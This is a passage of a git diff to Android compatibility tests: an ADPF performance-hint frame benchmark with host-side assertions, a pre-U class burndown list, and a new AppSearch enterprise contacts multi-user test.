+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <android/performance_hint.h>
+#include <assert.h>
+#include <jni.h>
+
+#include <algorithm>
+#include <chrono>
+#include <cstdlib>
+#include <functional>
+#include <map>
+#include <random>
+#include <set>
+#include <sstream>
+#include <string>
+#include <thread>
+#include <vector>
+
+#include "AndroidOut.h"
+#include "JNIManager.h"
+#include "Renderer.h"
+#include "Utility.h"
+
+using namespace std::chrono_literals;
+const constexpr int kSamples = 500;
+
+Renderer *getRenderer(android_app *pApp) {
+ return (pApp->userData) ? reinterpret_cast<Renderer *>(pApp->userData) : nullptr;
+}
+
+// Converts lists of numbers into strings, so they can be
+// passed up to the Java code the results map.
+template <typename T>
+std::string serializeValues(const std::vector<T> &values) {
+ std::stringstream stream;
+ for (auto &&value : values) {
+ stream << value;
+ stream << ",";
+ }
+ std::string out = stream.str();
+ out.pop_back(); // remove the last comma
+ return out;
+}
+
+// Generalizes the loop used to draw frames so that it can be easily started and stopped
+// back to back with different parameters, or after adjustments such as target time adjustments.
+FrameStats drawFrames(int count, android_app *pApp, int &events, android_poll_source *&pSource,
+ std::string testName = "") {
+ bool namedTest = testName.size() > 0;
+ std::vector<int64_t> durations{};
+ std::vector<int64_t> intervals{};
+ int dropCount = 0;
+
+ // Iter is -1 so we have a buffer frame before it starts, to eat any delay from time spent
+ // between tests
+ for (int iter = -1; iter < count && !pApp->destroyRequested;) {
+ int retval = ALooper_pollOnce(0, nullptr, &events, (void **)&pSource);
+ while (retval == ALOOPER_POLL_CALLBACK) {
+ retval = ALooper_pollOnce(0, nullptr, &events, (void **)&pSource);
+ }
+ if (retval >= 0 && pSource) {
+ pSource->process(pApp, pSource);
+ }
+ if (pApp->userData) {
+ // Don't add metrics for buffer frames
+ if (iter > -1) {
+ thread_local auto lastStart = std::chrono::steady_clock::now();
+ auto start = std::chrono::steady_clock::now();
+
+ // Render a frame
+ jlong spinTime = getRenderer(pApp)->render();
+ getRenderer(pApp)->reportActualWorkDuration(spinTime);
+ durations.push_back(spinTime);
+ intervals.push_back((start - lastStart).count());
+ lastStart = start;
+ }
+ ++iter;
+ }
+ }
+
+ if (namedTest) {
+ getRenderer(pApp)->addResult(testName + "_durations", serializeValues(durations));
+ getRenderer(pApp)->addResult(testName + "_intervals", serializeValues(intervals));
+ }
+
+ return getRenderer(pApp)->getFrameStats(durations, intervals, testName);
+}
+
+FrameStats drawFramesWithTarget(int64_t targetDuration, int &events, android_app *pApp,
+ android_poll_source *&pSource, std::string testName = "") {
+ getRenderer(pApp)->updateTargetWorkDuration(targetDuration);
+ return drawFrames(kSamples, pApp, events, pSource, testName);
+}
+
+// Finds the test settings that best match this device, and returns the
+// duration of the frame's work
+double calibrate(int &events, android_app *pApp, android_poll_source *&pSource) {
+ static constexpr int64_t kCalibrationSamples = 500;
+
+ getRenderer(pApp)->setNumHeads(100);
+ // Run an initial load to get the CPU active and stable
+ drawFrames(kCalibrationSamples, pApp, events, pSource);
+
+ FrameStats calibration[2];
+ getRenderer(pApp)->setNumHeads(1);
+ // Ensure the system is running stable before we start calibration
+
+ // Find a number of heads that gives a work duration approximately equal
+ // to 1/4 the vsync period. This gives enough time for the frame to finish
+ // everything, while still providing enough overhead that differences are easy
+ // to notice.
+ calibration[0] = drawFrames(kCalibrationSamples, pApp, events, pSource);
+ getRenderer(pApp)->setNumHeads(200);
+ calibration[1] = drawFrames(kCalibrationSamples, pApp, events, pSource);
+
+ double target = calibration[1].medianFrameInterval / 4.0;
+ aout << "Goal duration: " << (int)target << std::endl;
+ double perHeadDuration =
+ (calibration[1].medianWorkDuration - calibration[0].medianWorkDuration) / 200.0;
+ aout << "per-head duration: " << (int)perHeadDuration << std::endl;
+ int heads = (target - static_cast<double>(calibration[0].medianWorkDuration)) / perHeadDuration;
+
+ getRenderer(pApp)->addResult("goal_duration", std::to_string(static_cast<int>(target)));
+ getRenderer(pApp)->addResult("heads_count", std::to_string(heads));
+
+ getRenderer(pApp)->setNumHeads(std::max(heads, 1));
+ return target;
+}
+
+// /*!
+// * Handles commands sent to this Android application
+// * @param pApp the app the commands are coming from
+// * @param cmd the command to handle
+// */
+void handle_cmd(android_app *pApp, int32_t cmd) {
+ switch (cmd) {
+ case APP_CMD_INIT_WINDOW:
+ pApp->userData = new Renderer(pApp);
+ break;
+ case APP_CMD_TERM_WINDOW:
+ // The window is being destroyed. Use this to clean up your userData to avoid leaking
+ // resources.
+ //
+ // We have to check if userData is assigned just in case this comes in really quickly
+ if (pApp->userData) {
+ auto *pRenderer = getRenderer(pApp);
+ Utility::setFailure("App was closed while running!", pRenderer);
+ }
+ break;
+ default:
+ break;
+ }
+}
+
+void android_main(struct android_app *pApp) {
+ app_dummy();
+
+ // Register an event handler for Android events
+ pApp->onAppCmd = handle_cmd;
+
+ JNIManager &manager = JNIManager::getInstance();
+ manager.setApp(pApp);
+
+ int events;
+ android_poll_source *pSource = nullptr;
+
+ // Ensure renderer is initialized
+ drawFrames(1, pApp, events, pSource);
+
+ bool supported = getRenderer(pApp)->getAdpfSupported();
+
+ if (!supported) {
+ JNIManager::sendResultsToJava(getRenderer(pApp)->getResults());
+ return;
+ }
+
+ std::this_thread::sleep_for(10s);
+
+ double calibratedTarget = calibrate(events, pApp, pSource);
+
+ auto testNames = JNIManager::getInstance().getTestNames();
+ std::set<std::string> testSet{testNames.begin(), testNames.end()};
+ std::vector<std::function<void()>> tests;
+
+ FrameStats baselineStats = drawFrames(kSamples, pApp, events, pSource, "baseline");
+
+ double calibrationAccuracy = 1.0 -
+ (abs(static_cast<double>(baselineStats.medianWorkDuration) - calibratedTarget) /
+ calibratedTarget);
+ getRenderer(pApp)->addResult("calibration_accuracy", std::to_string(calibrationAccuracy));
+
+ std::vector<pid_t> tids;
+ tids.push_back(gettid());
+ getRenderer(pApp)->startHintSession(tids, baselineStats.medianWorkDuration);
+ if (!getRenderer(pApp)->isHintSessionRunning()) {
+ Utility::setFailure("Session failed to start!", getRenderer(pApp));
+ }
+ // Do an initial load with the session to let CPU settle
+ drawFramesWithTarget(2 * baselineStats.medianWorkDuration, events, pApp, pSource);
+ // Get a light load baseline
+ FrameStats lightBaselineStats = drawFramesWithTarget(2 * baselineStats.medianWorkDuration,
+ events, pApp, pSource, "light_base");
+ // Used to figure out efficiency score on actual runs, based on the slowest config seen
+ getRenderer(pApp)->setBaselineMedian(
+ std::max(baselineStats.medianWorkDuration, baselineStats.medianWorkDuration));
+
+ const int64_t lightTarget = 2 * lightBaselineStats.medianWorkDuration;
+ const int64_t heavyTarget = (3 * lightBaselineStats.medianWorkDuration) / 4;
+
+ if (testSet.count("heavy_load") > 0) {
+ tests.push_back(
+ [&]() { drawFramesWithTarget(heavyTarget, events, pApp, pSource, "heavy_load"); });
+ }
+
+ if (testSet.count("light_load") > 0) {
+ tests.push_back(
+ [&]() { drawFramesWithTarget(lightTarget, events, pApp, pSource, "light_load"); });
+ }
+
+ if (testSet.count("transition_load") > 0) {
+ tests.push_back([&]() {
+ drawFramesWithTarget(lightTarget, events, pApp, pSource, "transition_load_1");
+ drawFramesWithTarget(heavyTarget, events, pApp, pSource, "transition_load_2");
+ drawFramesWithTarget(lightTarget, events, pApp, pSource, "transition_load_3");
+ });
+ }
+
+ std::shuffle(tests.begin(), tests.end(), std::default_random_engine{});
+
+ for (auto &test : tests) {
+ test();
+ }
+
+ JNIManager::sendResultsToJava(getRenderer(pApp)->getResults());
+}
diff --git a/hostsidetests/adpf/common/src/android/adpf/common/ADPFHintSessionConstants.java b/hostsidetests/adpf/common/src/android/adpf/common/ADPFHintSessionConstants.java
index 6c690d2..946e8da 100644
--- a/hostsidetests/adpf/common/src/android/adpf/common/ADPFHintSessionConstants.java
+++ b/hostsidetests/adpf/common/src/android/adpf/common/ADPFHintSessionConstants.java
@@ -19,6 +19,23 @@
public class ADPFHintSessionConstants {
public static final String TEST_NAME_KEY = "Test_Name";
- public static final int MINIMUM_VALID_SDK = 32; // T
+ public static final int MINIMUM_VALID_SDK = 33; // T
public static final String IS_HINT_SESSION_SUPPORTED_KEY = "isHintSessionSupported";
+ public static final String BASELINE_KEY = "baseline";
+ public static final String LIGHT_LOAD_KEY = "light_load";
+ public static final String HEAVY_LOAD_KEY = "heavy_load";
+ public static final String TRANSITION_LOAD_KEY = "transition_load";
+
+ // public static final String SECOND_LIGHT_LOAD_KEY = "second_light_load";
+
+
+ public static final Double ERROR_MARGIN = 0.2;
+
+ // Used to determine which tests to run on the native side.
+ public static final String[] TESTS_ENABLED = new String[] {
+ BASELINE_KEY,
+ // LIGHT_LOAD_KEY,
+ // HEAVY_LOAD_KEY,
+ TRANSITION_LOAD_KEY,
+ };
}
diff --git a/hostsidetests/adpf/src/android/adpf/cts/ADPFHintSessionHostJUnit4Test.java b/hostsidetests/adpf/src/android/adpf/cts/ADPFHintSessionHostJUnit4Test.java
index 20dfba2..bac595f 100644
--- a/hostsidetests/adpf/src/android/adpf/cts/ADPFHintSessionHostJUnit4Test.java
+++ b/hostsidetests/adpf/src/android/adpf/cts/ADPFHintSessionHostJUnit4Test.java
@@ -16,11 +16,20 @@
package android.adpf.cts;
+import static android.adpf.common.ADPFHintSessionConstants.BASELINE_KEY;
+import static android.adpf.common.ADPFHintSessionConstants.ERROR_MARGIN;
+import static android.adpf.common.ADPFHintSessionConstants.HEAVY_LOAD_KEY;
+import static android.adpf.common.ADPFHintSessionConstants.TRANSITION_LOAD_KEY;
import static android.adpf.common.ADPFHintSessionConstants.IS_HINT_SESSION_SUPPORTED_KEY;
+import static android.adpf.common.ADPFHintSessionConstants.LIGHT_LOAD_KEY;
import static android.adpf.common.ADPFHintSessionConstants.MINIMUM_VALID_SDK;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import com.android.ddmlib.Log;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.result.TestDescription;
import com.android.tradefed.result.TestResult;
@@ -29,19 +38,24 @@
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner.TestMetrics;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
import org.junit.Assume;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
/**
* Test to check the ADPF hint session implementation.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
public class ADPFHintSessionHostJUnit4Test extends BaseHostJUnit4Test {
private static final String PACKAGE_APK = "CtsADPFHintSessionDeviceApp.apk";
- private static final String PACKAGE_NAME = "android.adpf.hintsession.app";
+ private static final String TEST_PACKAGE_NAME = "android.adpf.hintsession.app";
private static final String ADPF_DEVICE_TEST_CLASS = "ADPFHintSessionDeviceTest";
@Rule
@@ -65,23 +79,105 @@
sdk >= MINIMUM_VALID_SDK);
}
+ private static long getMedian(long[] numbers) {
+ long[] copy = numbers.clone();
+ Arrays.sort(copy);
+
+ return copy[copy.length / 2];
+ }
+
+ private static boolean isRoughlyEqual(long lhs, long rhs) {
+ return Math.abs(lhs - rhs) < ERROR_MARGIN * (lhs + rhs) / 2.0;
+ }
+
+ private static boolean isLess(long lhs, long rhs) {
+ return lhs < rhs && !isRoughlyEqual(lhs, rhs);
+ }
+
+ private static boolean isGreater(long lhs, long rhs) {
+ return isLess(rhs, lhs);
+ }
+
+ private static final String TAG = android.adpf.cts
+ .ADPFHintSessionHostJUnit4Test.class.getSimpleName();
+
+
+
/**
- * Documentation:
- * https://source.android.com/devices/tech/test_infra/tradefed/testing/through-tf/report-metrics
+ * This tests the ADPF hint session app behavior under various target states,
+ * to validate that the load matches what would be expected for a system with
+ * those demands. Higher-load tests with lower targets should have smaller durations,
+ * because they require more resources to complete the same work in less time.
+ * Conversely, lower-load tests with longer targets should have larger durations,
+ * since fewer resources are needed to complete their work by the target time.
*/
@Test
- public void testMetrics() throws Exception {
+ public void testAdpfHintSession() throws Exception {
checkMinSdkVersion();
installPackage(PACKAGE_APK);
- runDeviceTests(PACKAGE_NAME, PACKAGE_NAME + "." + ADPF_DEVICE_TEST_CLASS);
+ runDeviceTests(TEST_PACKAGE_NAME, TEST_PACKAGE_NAME + "." + ADPF_DEVICE_TEST_CLASS);
final TestDescription testDesc = new TestDescription(
- PACKAGE_NAME + "." + ADPF_DEVICE_TEST_CLASS,
- "testMetrics"
+ TEST_PACKAGE_NAME + "." + ADPF_DEVICE_TEST_CLASS, "testAdpfHintSession"
);
final TestRunResult runResult = getLastDeviceRunResults();
final TestResult result = runResult.getTestResults().get(testDesc);
- assertNotNull(result);
- assertNotNull(result.getMetrics());
- assertNotNull(result.getMetrics().get(IS_HINT_SESSION_SUPPORTED_KEY));
+ assertNotNull("Result object was null.", result);
+ assertNotNull("No metrics were returned.", result.getMetrics());
+ String isSupportedStr = result.getMetrics().get(IS_HINT_SESSION_SUPPORTED_KEY);
+ assertNotNull("ADPF support was not specified.", isSupportedStr);
+
+ if (!Boolean.parseBoolean(isSupportedStr)) {
+ Log.i(TAG, "ADPF is not supported on this device, skipping test");
+ return;
+ }
+
+ if (result.getStatus() != TestStatus.PASSED) {
+ String message = result.getFailure().getErrorMessage();
+ fail("Test failed" + (message == null ? "!" : " with error: " + message));
+ }
+
+ Map<String, String> metrics = result.getMetrics();
+ HashMap<String, Long> testMedians = new HashMap<>();
+
+ for (Map.Entry<String, String> entry : metrics.entrySet()) {
+ String key = entry.getKey();
+ if (key.endsWith("_durations")) {
+ String testName = key.substring(0, key.lastIndexOf("_"));
+ long[] numbers = Arrays.stream(entry.getValue().split(","))
+ .mapToLong(Long::parseLong).toArray();
+ Long median = getMedian(numbers);
+ testMedians.put(testName, median);
+ Log.e(TAG, "Median of " + testName + " is: " + median.toString());
+ Log.e(TAG, "Target of " + testName + " is: " + metrics.get(testName + "_target"));
+ }
+ }
+
+ assertTrue("Baseline test was not run!", testMedians.containsKey(BASELINE_KEY));
+ long baseline = testMedians.get(BASELINE_KEY);
+ // This test validates that the light load is not any worse than baseline
+ if (testMedians.containsKey(LIGHT_LOAD_KEY)) {
+ assertTrue("Low-load case ran faster than baseline!",
+ !isLess(testMedians.get(LIGHT_LOAD_KEY), baseline));
+ }
+ // This test validates that the heavy load case runs faster than baseline
+ if (testMedians.containsKey(HEAVY_LOAD_KEY)) {
+ assertTrue("High-load case was not faster than baseline!",
+ isLess(testMedians.get(HEAVY_LOAD_KEY), baseline));
+ }
+ /**
+ * This test validates that the heavy load case runs faster than the
+ * light-load case when the workload needs to ramp up, and vice-versa,
+ * that the light-load case runs slower than the heavy-load case when the
+ * workload ramps back down.
+ */
+ if (testMedians.containsKey(TRANSITION_LOAD_KEY + "_1")) {
+ assertTrue("High-load case was not faster than previous low-load case!",
+ isGreater(testMedians.get(TRANSITION_LOAD_KEY + "_1"),
+ testMedians.get(TRANSITION_LOAD_KEY + "_2")));
+ assertTrue("Low-load case was not slower than previous high-load case!",
+ isLess(testMedians.get(TRANSITION_LOAD_KEY + "_2"),
+ testMedians.get(TRANSITION_LOAD_KEY + "_3")));
+ }
}
+
}
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
index 1d0075d..892d132 100644
--- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -28,7 +28,6 @@
import com.android.os.AtomsProto;
import com.android.os.AtomsProto.Atom;
import com.android.os.StatsLog;
-import com.android.os.StatsLog.ConfigMetricsReport;
import com.android.os.StatsLog.ConfigMetricsReportList;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.CollectingByteOutputReceiver;
@@ -49,9 +48,7 @@
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
-import java.util.ArrayList;
import java.util.Arrays;
-import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.Objects;
@@ -93,7 +90,7 @@
CLog.d("Installing app " + appFileName);
CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
final String result = getDevice().installPackage(buildHelper.getTestFile(appFileName), true,
- grantPermissions);
+ grantPermissions, "-t");
assertWithMessage("Failed to install %s: %s", appFileName, result).that(result).isNull();
}
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index a5cda24..982efef 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -487,6 +487,41 @@
.build();
/**
+ * Lists of known failures when running testApkInApex_nonClasspathClasses against pre-U devices.
+ *
+ * <p> Add the new item into this list only if the failure is caused by base device image (not the mainline train).
+ */
+ private static final ImmutableMap<String, ImmutableSet<String>> PRE_U_APK_IN_APEX_BURNDOWN_LIST =
+ new ImmutableMap.Builder<String, ImmutableSet<String>>()
+ .put("/apex/com.android.btservices/app/BluetoothGoogle/BluetoothGoogle.apk",
+ ImmutableSet.of(
+ // b/310322439
+ "Lcom/android/bluetooth/x/android/sysprop/AdbProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/ApkVerityProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/BluetoothProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/CarProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/ContactsProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/CryptoProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/DeviceProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/DisplayProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/HdmiProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/HypervisorProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/InputProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/MediaProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/NetworkProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/OtaProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/PowerProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/SetupWizardProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/SocProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/TelephonyProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/TraceProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/VndkProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/VoldProperties;",
+ "Lcom/android/bluetooth/x/android/sysprop/WifiProperties;"
+ ))
+ .build();
+
+ /**
* Lists of known failures when running testApkInApex_nonClasspathClasses against pre-T devices.
*
* <p> Add the new item into this list only if the failure is caused by base device image (not the mainline train).
@@ -824,9 +859,13 @@
// /apex/com.android.btservices/app/Bluetooth/Bluetooth.apk
apk = apk.replaceFirst("@[^/]*", "");
ImmutableSet<String> burndownClasses;
- if (mDeviceSdkLevel.isDeviceAtLeastT()) {
+ if (mDeviceSdkLevel.isDeviceAtLeastU()) {
burndownClasses = ImmutableSet.<String>builder()
.addAll(FULL_APK_IN_APEX_BURNDOWN.getOrDefault(apk, ImmutableSet.of())).build();
+ } else if (mDeviceSdkLevel.isDeviceAtLeastT()) {
+ burndownClasses = ImmutableSet.<String>builder()
+ .addAll(FULL_APK_IN_APEX_BURNDOWN.getOrDefault(apk, ImmutableSet.of()))
+ .addAll(PRE_U_APK_IN_APEX_BURNDOWN_LIST.getOrDefault(apk, ImmutableSet.of())).build();
} else {
// testApkInApex_nonClasspathClasses is not part of CTS until T
// therefore, running this for pre-T devices with additional list of known failures.
diff --git a/hostsidetests/appsearch/Android.bp b/hostsidetests/appsearch/Android.bp
index a1e4554..888b773 100644
--- a/hostsidetests/appsearch/Android.bp
+++ b/hostsidetests/appsearch/Android.bp
@@ -53,6 +53,7 @@
"androidx.test.rules",
"compatibility-device-util-axt",
"testng",
+ "service-appsearch-for-tests",
],
srcs: [
"test-apps/AppSearchHostTestHelperA/src/**/*.java",
diff --git a/hostsidetests/appsearch/src/android/appsearch/cts/AppSearchHostTestBase.java b/hostsidetests/appsearch/src/android/appsearch/cts/AppSearchHostTestBase.java
index a039578..5b3771f 100644
--- a/hostsidetests/appsearch/src/android/appsearch/cts/AppSearchHostTestBase.java
+++ b/hostsidetests/appsearch/src/android/appsearch/cts/AppSearchHostTestBase.java
@@ -34,6 +34,8 @@
TARGET_PKG_A + ".AppSearchStorageAugmenterDeviceTest";
protected static final String TEST_CONTACTS_INDEXER_CLASS_A =
TARGET_PKG_A + ".ContactsIndexerDeviceTest";
+ protected static final String TEST_ENTERPRISE_CONTACTS_CLASS_A =
+ TARGET_PKG_A + ".EnterpriseContactsDeviceTest";
protected static final String TARGET_APK_B = "CtsAppSearchHostTestHelperB.apk";
protected static final String TARGET_PKG_B = "android.appsearch.app.helper_b";
protected static final String TEST_CLASS_B = TARGET_PKG_B + ".AppSearchDeviceTest";
@@ -84,6 +86,20 @@
runDeviceTests(deviceTestRunOptions)).isTrue();
}
+ protected void runEnterpriseContactsDeviceTestAsUserInPkgA(@Nonnull String testMethod,
+ int userId, @Nonnull Map<String, String> args) throws Exception {
+ DeviceTestRunOptions deviceTestRunOptions = new DeviceTestRunOptions(TARGET_PKG_A)
+ .setTestClassName(TEST_ENTERPRISE_CONTACTS_CLASS_A)
+ .setTestMethodName(testMethod)
+ .setMaxInstrumentationTimeoutMs(DEFAULT_INSTRUMENTATION_TIMEOUT_MS)
+ .setUserId(userId);
+ for (Map.Entry<String, String> entry : args.entrySet()) {
+ deviceTestRunOptions.addInstrumentationArg(entry.getKey(), entry.getValue());
+ }
+ assertWithMessage(testMethod + " failed").that(
+ runDeviceTests(deviceTestRunOptions)).isTrue();
+ }
+
protected void runDeviceTestAsUserInPkgB(@Nonnull String testMethod, int userId)
throws Exception {
assertWithMessage(testMethod + " failed").that(
diff --git a/hostsidetests/appsearch/src/android/appsearch/cts/EnterpriseContactsMultiUserTest.java b/hostsidetests/appsearch/src/android/appsearch/cts/EnterpriseContactsMultiUserTest.java
new file mode 100644
index 0000000..e1aebcc
--- /dev/null
+++ b/hostsidetests/appsearch/src/android/appsearch/cts/EnterpriseContactsMultiUserTest.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.UserInfo;
+import com.android.tradefed.invoker.TestInformation;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.AfterClassWithInfo;
+import com.android.tradefed.testtype.junit4.BeforeClassWithInfo;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+
+/**
+ * These tests cover:
+ * 1) general enterprise access to AppSearch data through EnterpriseGlobalSearchSession, and
+ * 2) enterprise fields restrictions applied to the Person schema
+ *
+ * <p>These tests do not cover:
+ * 1) the enterprise transformation applied to Person documents, since that only applies to
+ * AppSearch's actual contacts corpus, and these tests run using the local AppSearch database
+ * 2) the managed profile device policy check for AppSearch's actual contacts corpus as we cannot
+ * set the policy in CTS tests
+ *
+ * <p>Unlock your device when testing locally.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class EnterpriseContactsMultiUserTest extends AppSearchHostTestBase {
+ private static int sPrimaryUserId;
+ private static int sSecondaryUserId;
+ private static int sEnterpriseProfileUserId;
+ private static boolean sIsTemporaryEnterpriseProfile;
+
+ @BeforeClassWithInfo
+ public static void setUpClass(TestInformation testInfo) throws Exception {
+ assumeTrue("Multi-user is not supported on this device",
+ testInfo.getDevice().isMultiUserSupported());
+ ITestDevice device = testInfo.getDevice();
+ sPrimaryUserId = device.getPrimaryUserId();
+ sSecondaryUserId = createSecondaryUser(device);
+ sEnterpriseProfileUserId = getOrCreateEnterpriseProfile(testInfo.getDevice());
+ }
+
+ @AfterClassWithInfo
+ public static void tearDownClass(TestInformation testInfo) throws Exception {
+ if (sSecondaryUserId > 0) {
+ testInfo.getDevice().removeUser(sSecondaryUserId);
+ }
+ if (sIsTemporaryEnterpriseProfile) {
+ testInfo.getDevice().removeUser(sEnterpriseProfileUserId);
+ }
+ }
+
+ /** Creates a test user and returns the user id. */
+ private static int createSecondaryUser(ITestDevice device) throws DeviceNotAvailableException {
+ int profileId = device.createUser("Test User #1");
+ assertThat(device.startUser(profileId)).isTrue();
+ return profileId;
+ }
+
+ /** Gets or creates an enterprise profile and returns the user id. */
+ private static int getOrCreateEnterpriseProfile(ITestDevice device)
+ throws DeviceNotAvailableException {
+ // Search for a managed profile
+ for (UserInfo userInfo : device.getUserInfos().values()) {
+ if (userInfo.isManagedProfile()) {
+ return userInfo.userId();
+ }
+ }
+ // If no managed profile, set up a temporary one
+ int parentProfile = device.getCurrentUser();
+ // Create a managed profile "work" under the current profile which should be the main user
+ String createUserOutput = device.executeShellCommand(
+ "pm create-user --profileOf " + parentProfile + " --managed work");
+ int profileId = Integer.parseInt(createUserOutput.split(" id ")[1].trim());
+ assertThat(device.startUser(profileId, /*waitFlag=*/ true)).isTrue();
+ sIsTemporaryEnterpriseProfile = true;
+ return profileId;
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ installPackageAsUser(TARGET_APK_A, /*grantPermission=*/ true, sPrimaryUserId);
+ installPackageAsUser(TARGET_APK_A, /*grantPermission=*/ true, sSecondaryUserId);
+ installPackageAsUser(TARGET_APK_A, /*grantPermission=*/ true, sEnterpriseProfileUserId);
+ }
+
+ /** As setup, we need the enterprise user to first create some contacts locally. */
+ private void setUpEnterpriseContacts() throws Exception {
+ runEnterpriseContactsDeviceTestAsUserInPkgA("setUpEnterpriseContacts",
+ sEnterpriseProfileUserId,
+ Collections.emptyMap());
+ }
+
+ private void setUpEnterpriseContactsWithoutEnterprisePermissions() throws Exception {
+ runEnterpriseContactsDeviceTestAsUserInPkgA(
+ "setUpEnterpriseContactsWithoutEnterprisePermissions",
+ sEnterpriseProfileUserId,
+ Collections.emptyMap());
+ }
+
+ @Test
+ public void testMainUser_hasEnterpriseAccess() throws Exception {
+ setUpEnterpriseContacts();
+ runEnterpriseContactsDeviceTestAsUserInPkgA("testHasEnterpriseAccess",
+ sPrimaryUserId,
+ Collections.emptyMap());
+ }
+
+ @Test
+ public void testMainUser_doesNotHaveEnterpriseAccessToNonEnterpriseSchema() throws Exception {
+ setUpEnterpriseContactsWithoutEnterprisePermissions();
+ runEnterpriseContactsDeviceTestAsUserInPkgA("testDoesNotHaveEnterpriseAccess",
+ sPrimaryUserId,
+ Collections.emptyMap());
+ }
+
+ @Test
+ public void testWorkProfile_doesNotHaveEnterpriseAccess() throws Exception {
+ setUpEnterpriseContacts();
+ runEnterpriseContactsDeviceTestAsUserInPkgA("testDoesNotHaveEnterpriseAccess",
+ sEnterpriseProfileUserId,
+ Collections.emptyMap());
+ }
+
+ @Test
+ public void testSecondaryUser_doesNotHaveEnterpriseAccess() throws Exception {
+ setUpEnterpriseContacts();
+ runEnterpriseContactsDeviceTestAsUserInPkgA("testDoesNotHaveEnterpriseAccess",
+ sSecondaryUserId,
+ Collections.emptyMap());
+ }
+
+ @Test
+ public void testGetEnterpriseContact() throws Exception {
+ setUpEnterpriseContacts();
+ runEnterpriseContactsDeviceTestAsUserInPkgA(
+ "testGetEnterpriseContact",
+ sPrimaryUserId,
+ Collections.emptyMap());
+ }
+
+ @Test
+ public void testGetEnterpriseContact_withProjection() throws Exception {
+ setUpEnterpriseContacts();
+ runEnterpriseContactsDeviceTestAsUserInPkgA(
+ "testGetEnterpriseContact_withProjection",
+ sPrimaryUserId,
+ Collections.emptyMap());
+ }
+
+ @Test
+ public void testSearchEnterpriseContacts() throws Exception {
+ setUpEnterpriseContacts();
+ runEnterpriseContactsDeviceTestAsUserInPkgA(
+ "testSearchEnterpriseContacts",
+ sPrimaryUserId,
+ Collections.emptyMap());
+ }
+
+ @Test
+ public void testSearchEnterpriseContacts_withProjection() throws Exception {
+ setUpEnterpriseContacts();
+ runEnterpriseContactsDeviceTestAsUserInPkgA(
+ "testSearchEnterpriseContacts_withProjection",
+ sPrimaryUserId,
+ Collections.emptyMap());
+ }
+
+ @Test
+ public void testSearchEnterpriseContacts_withFilter() throws Exception {
+ setUpEnterpriseContacts();
+ runEnterpriseContactsDeviceTestAsUserInPkgA(
+ "testSearchEnterpriseContacts_withFilter",
+ sPrimaryUserId,
+ Collections.emptyMap());
+ }
+}
diff --git a/hostsidetests/appsearch/test-apps/AppSearchHostTestHelperA/AndroidManifest.xml b/hostsidetests/appsearch/test-apps/AppSearchHostTestHelperA/AndroidManifest.xml
